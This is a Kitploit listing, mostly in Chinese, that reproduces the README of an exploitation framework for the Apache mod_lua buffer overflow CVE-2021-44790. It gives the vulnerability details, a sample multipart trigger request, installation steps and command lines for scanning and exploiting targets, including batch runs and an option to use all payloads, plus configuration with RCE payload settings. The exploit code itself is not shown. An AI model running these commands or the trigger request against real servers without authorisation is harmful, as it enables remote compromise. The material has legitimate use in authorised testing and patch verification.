Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna. | Kitploit
工具/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Web Vulnerability ScannersExploit FrameworksExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.

查看仓库
113天前尚未审核
分享

🔥 CVE-2021-44790 - Apache mod_lua 缓冲区溢出利用

Version Python License CVE Apache CVSS Author


📋 概述

Apache mod_lua 缓冲区溢出利用 是一个针对 CVE-2021-44790 的高级企业级利用平台。CVE-2021-44790 是 Apache HTTP Server 2.4.x mod_lua 模块中的一个严重缓冲区溢出漏洞。该框架提供全面的指纹识别、智能脚本发现、多阶段扫描和专业报告功能,检测置信度高达 95% 以上。

⚡ 主要功能


🎯 漏洞详情

技术描述

该漏洞存在于 mod_lua 模块处理 multipart/form-data 请求时。lua_request_parsebody() 函数中的整数下溢可能导致基于堆的缓冲区溢出,从而可能允许远程代码执行。

root@kitploit:~
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 截图

主界面指纹识别结果

🚀 快速开始

安装

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

基本用法

root@kitploit:~
# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 详细用法

命令行选项

root@kitploit:~
python3 exploit.py [TARGET] [OPTIONS]

示例

1. 基础漏洞评估

root@kitploit:~
python3 exploit.py https://example.com --verbose --report all

2. 企业环境扫描

root@kitploit:~
python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. 完整渗透测试

root@kitploit:~
python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. 批量扫描

root@kitploit:~
python3 exploit.py --batch targets.txt --config config.yaml

5. 数据库查询

root@kitploit:~
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ 配置

config.yaml

root@kitploit:~
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

📊 报告

HTML 仪表板

  • 交互式图表和表格
  • 目标指纹可视化
  • 脚本发现摘要
  • 载荷执行时间线
  • 漏洞评估
  • 风险评分

JSON 报告

root@kitploit:~
{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

Markdown 报告

  • 人类可读的文档
  • 表格化数据
  • 易于共享和嵌入
  • 便于版本控制

🗄️ 数据库结构

root@kitploit:~
-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

🔧 插件系统

创建插件

root@kitploit:~
# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

🛡️ 安全注意事项

  • 仅限授权使用:此工具仅用于经授权的安全测试
  • 合法合规:测试前请确保您已获得授权
  • 负责任披露:请以负责任的方式报告漏洞
  • 数据保护:所有敏感数据均存储在本地

⚠️ 免责声明

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

📈 性能指标


🗺️ 路线图

版本 2.1(计划中)

  • 支持更多 CVE
  • Web UI 界面
  • Docker 容器化
  • CI/CD 流水线
  • 更多载荷变体

版本 2.2(未来)

  • 机器学习集成
  • 自动化利用
  • 基于云的扫描
  • 团队协作功能
  • 高级规避技术

🤝 贡献

欢迎贡献!请遵循以下指南:

  1. Fork 该仓库
  2. 创建功能分支
  3. 进行您的修改
  4. 提交拉取请求

开发环境搭建

root@kitploit:~
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/

👨‍💻 作者

Sudeepa Wanigarathna

  • 安全研究员与白帽黑客
  • GitHub:@CerberusMrXi
  • 研究方向:漏洞研究与漏洞利用开发

📄 许可证

仅供教育和授权测试使用

本软件按“原样”提供,不附带任何明示或暗示的担保。


⭐ 为这个仓库点个 Star 以支持该项目!

💡 发现 Bug? 提交 Issue

📧 联系邮箱: [email protected]


为安全社区倾心打造 ❤️

下载工具
功能描述
🔍 高级指纹识别Apache 版本、mod_lua、操作系统、架构、WAF、CDN、容器、云服务商检测
🎯 智能发现7 种以上发现技术,包括 robots.txt、sitemap、HTML 解析、JavaScript 提取
💥 多阶段扫描连接 → 指纹识别 → 发现 → 验证 → 利用 → 报告
🧩 可扩展插件系统便于为未来的 CVE 开发插件
🌐 智能 HTTP 引擎连接池、重试、HTTP/2 支持、速率限制
📊 综合报告JSON、HTML、Markdown、PDF,附带交互式仪表板
🎨 美观的终端界面基于 Rich 库的进度条、表格和彩色输出
💾 研究数据库SQLite 存储,支持完整扫描历史和查询
📸 截图捕获自动捕获网页截图以收集证据
🚀 高性能20+ 并发线程,100+ 连接池
属性值
CVE 编号CVE-2021-44790
漏洞类型缓冲区溢出(整数下溢)
受影响软件Apache HTTP Server 2.4.0 至 2.4.51
修复版本Apache HTTP Server 2.4.52 及更高版本
受影响组件mod_lua 模块
攻击向量网络(远程)
CVSS 评分9.8(严重)
机密性影响高
完整性影响高
可用性影响高
利用成熟度已有概念验证(PoC)
扫描进度HTML 报告仪表板
选项描述示例
TARGET目标 URLhttp://target.com
--config FILE配置文件--config config.yaml
--threads N线程数--threads 30
--timeout N请求超时(秒)--timeout 15
--proxy URL代理 URL--proxy http://127.0.0.1:8080
--verbose详细输出--verbose
--scan-only仅扫描,不进行利用--scan-only
--exploit启用利用--exploit
--all-payloads使用所有载荷--all-payloads
--report FORMAT报告格式(json/html/markdown/all)--report all
--output DIR输出目录--output /path/to/reports/
--research启用研究模式--research
--database FILE数据库路径--database luastorm.db
--screenshot捕获截图--screenshot
--batch FILE包含目标的批处理文件--batch targets.txt
--query SQL执行数据库查询--query "SELECT * FROM targets"
功能性能
指纹识别< 2 秒
脚本发现5-10 秒
载荷测试每个载荷 1-5 秒
报告生成< 1 秒
数据库操作< 100ms
并发线程20+
连接池100+